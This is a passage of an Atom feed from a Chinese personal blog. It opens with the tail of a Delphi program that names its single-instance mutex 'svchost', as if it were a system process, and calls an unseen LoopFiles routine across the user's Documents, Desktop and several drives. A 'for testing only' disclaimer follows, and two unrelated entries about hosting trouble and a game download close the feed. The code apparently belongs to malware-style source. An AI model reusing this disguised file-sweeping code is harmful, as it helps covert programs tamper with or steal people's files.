;<br/>end;<br/><br/>procedure&nbsp;CheckOneRun;<br/>var<br/>&nbsp;&nbsp;hAppMutex:THandle;<br/>begin<br/>&nbsp;&nbsp;hAppMutex:=Cr&#101;ateMutex(nil,False,PChar(&#39;svchost&#39;));<br/>&nbsp;&nbsp;if&nbsp;(hAppMutex&nbsp;=&nbsp;0)&nbsp;then<br/>&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;//创建互斥对象失败<br/>&nbsp;&nbsp;&nbsp;&nbsp;ExitProcess(0);<br/>&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;if&nbsp;((hAppMutex&nbsp;&lt;&gt;&nbsp;0)&nbsp;and&nbsp;(GetLastError()&nbsp;=&nbsp;Error_Already_exists))then<br/>&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;//不是第一次运行的对象<br/>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hAppMutex);<br/>&nbsp;&nbsp;&nbsp;&nbsp;ExitProcess(0);<br/>&nbsp;&nbsp;end;<br/>end;<br/>function&nbsp;GetDesktopOrDocumentDir(StrDIR:string):string;&nbsp;//&nbsp;desktop&nbsp;为桌面;&nbsp;Personal&nbsp;为文档<br/>var<br/>&nbsp;&nbsp;R:TRegistry;<br/>&nbsp;&nbsp;ForldDir:string;<br/>begin<br/>&nbsp;&nbsp;R:=TRegistry.Cr&#101;ate;<br/>&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;R.OpenKey(&#39;SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL&nbsp;FOLDERS&#39;,&nbsp;FALSE);<br/>&nbsp;&nbsp;&nbsp;&nbsp;ForldDir&nbsp;:=&nbsp;R.ReadString(StrDIR);<br/>&nbsp;&nbsp;finally<br/>&nbsp;&nbsp;&nbsp;&nbsp;R.Free;<br/>&nbsp;&nbsp;end;<br/>&nbsp;&nbsp;Result:=ForldDir;<br/>end;<br/>//////////////////////////////////////////////////////////////////////////<br/>var<br/>&nbsp;&nbsp;Desktop,Documnet:string;<br/>begin<br/>&nbsp;&nbsp;Desktop:=GetDesktopOrDocumentDir(&#39;Desktop&#39;);<br/>&nbsp;&nbsp;Documnet:=GetDesktopOrDocumentDir(&#39;Personal&#39;);<br/>&nbsp;&nbsp;CheckOneRun;<br/>&nbsp;&nbsp;try<br/>&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(PChar(Documnet));<br/>&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(&#39;e:\&#39;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(PChar(Desktop));<br/>&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(&#39;d:\&#39;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;LoopFiles(&#39;f:\&#39;);<br/>&nbsp;&nbsp;except<br/>&nbsp;&nbsp;end;<br/>end.<br/>仅供测试用。请不要用于非法用途!!]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=27" /> 
	  <id>http://www.lovong.net/default.asp?id=27</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[网站前些天出现了问题]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=9" label="心情故事" /> 
	  <updated>2007-09-02T08:14:04+08:00</updated>
	  <published>2007-09-02T08:14:04+08:00</published>
		  <summary type="html"><![CDATA[虚拟主机提供商出现了问题。FTP无法访问。还把IP地址给变了，竞然不给我Email&nbsp;通知。最后在它给的二级目录里面才知道IP地址被改了，非常郁闷。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=26" /> 
	  <id>http://www.lovong.net/default.asp?id=26</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[小游戏--猜数字 我的作品]]></title>
	  <author>
		 <name>Lovong</name>
		 <uri>http://www.lovong.net/</uri>
		 <email>post@lovong.net</email>
	  </author>
	  <category term="" scheme="http://www.lovong.net/default.asp?cateID=6" label="软件下载" /> 
	  <updated>2007-08-01T19:45:30+08:00</updated>
	  <published>2007-08-01T19:45:30+08:00</published>
		  <summary type="html"><![CDATA[小游戏--猜数字&nbsp;我的作品<br/><br/><img src="http://www.lovong.net/images/download.gif" alt="下载文件" style="margin:0px 2px -4px 0px"/> <a href="http://www.lovong.net/attachments/month_0708/g200781194518.rar" target="_blank">点击下载此文件</a><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.lovong.net/default.asp?id=25" /> 
	  <id>http://www.lovong.net/default.asp?id=25</id> 
  </entry>	
		
</feed>